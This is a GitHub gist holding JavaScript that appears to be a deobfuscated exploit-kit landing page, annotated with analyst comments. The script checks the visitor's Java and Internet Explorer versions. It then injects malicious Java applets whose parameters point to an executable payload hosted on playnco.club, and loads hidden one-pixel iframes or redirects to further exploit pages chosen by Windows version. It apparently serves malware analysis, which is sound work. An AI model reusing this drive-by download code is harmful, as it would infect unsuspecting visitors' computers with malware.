Skip to content

Instantly share code, notes, and snippets.

@koike

koike/landing.js Secret

Created November 18, 2017 16:46
Show Gist options
  • Star 1 You must be signed in to star a gist
  • Fork 1 You must be signed in to fork a gist
  • Save koike/5fe67c5c608ef76f735119be8f6e7f79 to your computer and use it in GitHub Desktop.
Save koike/5fe67c5c608ef76f735119be8f6e7f79 to your computer and use it in GitHub Desktop.
// check JRE version
var wmck = deployJava["getJREs"]() + "";
wmck = parseInt(wmck["replace"](/\.|\_/g, ""));
// check IE version
var WhatIE = navigator["userAgent"]["toLowerCase"]();
// 17006 < JRE < 17011
if (wmck > 17006 && wmck < 17011) {
// IE === 6
if (WhatIE.indexOf("msie 6") > -1) {
document.writeln("<object classid='clsid:8ad9c840-044e-11d1-b3e9-00805f499d93' width='600' height='400'><param name=xiaomaolv value='http://playnco.club/11.7/11.7.exe'><param name=bn value='woyouyizhixiaomaol'><param name=si value='conglaiyebuqi'><param name=bs value='748'><param name=CODE value='xml20130422.XML20130422.class'><param name=archive value='EyDsJd.jar'></object>")
} else {
// load applet => EyDsJd.jar
document["write"]("<br>");
var gondady = document["createElement"]("body");
document["body"]["appendChild"](gondady);
var gondad = document["createElement"]("applet");
gondad["width"] = "600";
gondad["height"] = "400";
gondad["archive"] = "EyDsJd.jar";
gondad["code"] = "xml20130422.XML20130422.class";
gondad["setAttribute"]("xiaomaolv", "http://playnco.club/11.7/11.7.exe");
gondad["setAttribute"]("bn", "woyouyizhixiaomaol");
gondad["setAttribute"]("si", "conglaiyebuqi");
gondad["setAttribute"]("bs", "748");
document["body"]["appendChild"](gondad)
}
} else {
// 17000 <= JRE < 17007
if (wmck >= 17000 && wmck < 17007) {
// IE === 6
if (WhatIE["indexOf"]("msie 6") > -1) {
document["writeln"]("<object classid='clsid:8ad9c840-044e-11d1-b3e9-00805f499d93' width='256' height='256'><param name=xiaomaolv value='http://playnco.club/11.7/11.7.exe'><param name=bn value='woyouyizhixiaomaolv'><param name=si value='conglaiyebuqi'><param name=bs value='748'><param name=CODE value='setup.hohoho.class'><param name=archive value='BvJfRc.jar'></object>")
} else {
// load applet => BvJfRc.jar
document["write"]("<br>");
var gondady = document["createElement"]("body");
document["body"]["appendChild"](gondady);
var gondad = document["createElement"]("applet");
gondad["width"] = "256";
gondad["height"] = "256";
gondad["archive"] = "BvJfRc.jar";
gondad["code"] = "setup.hohoho.class";
gondad["setAttribute"]("xiaomaolv", "http://playnco.club/11.7/11.7.exe");
gondad["setAttribute"]("bn", "woyouyizhixiaomaolv");
gondad["setAttribute"]("si", "conglaiyebuqi");
gondad["setAttribute"]("bs", "748");
document["body"]["appendChild"](gondad)
}
} else {
// JRE <= 16027 && IE !== 10 && IE !== 11
if (wmck <= 16027 && WhatIE["indexOf"]("msie 10") == -1 && WhatIE["indexOf"]("rv:11") == -1) {
// load applet => XlGaYb.jar
var ckckx = document["createElement"]("applet");
ckckx["archive"] = "XlGaYb.jar";
ckckx["code"] = "a.class";
ckckx["width"] = "30";
ckckx["height"] = "1";
document["body"]["appendChild"](ckckx);
var ckcks = document["createElement"]("param");
ckcks["name"] = "dota";
ckcks["value"] = "http://playnco.club/11.7/11.7.exe";
ckckx["appendChild"](ckcks)
}
}
};
// create iframe => RfVvPx.html
document["writeln"]("<iframe src=RfVvPx.html width=30 height=1></iframe>");
// Windows 10 && IE === edge
if (WhatIE["indexOf"]("nt 10") > -1 && WhatIE["indexOf"]("edge") > -1) {
// create iframe => XsSgBz.html
document["writeln"]("<iframe src=XsSgBz.html width=30 height=1></iframe>");
} else {
// IE === 11
if (WhatIE["indexOf"]("trident") > -1 && WhatIE["indexOf"]("rv:11") > -1) {
// Redirect => OvTiFx.html
setTimeout("window.location='OvTiFx.html'", 5000)
} else {
// Windows Vista, 7
if (WhatIE["indexOf"]("nt 6") > -1) {
// create iframe => OvTiFx.html
document["writeln"]("<iframe src=OvTiFx.html width=30 height=1></iframe>");
} else {
// Windows XP
if (WhatIE["indexOf"]("nt 5") > -1) {
// create iframe => HiFyUd.html
document["writeln"]("<iframe src=HiFyUd.html width=30 height=1></iframe>");
}
}
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment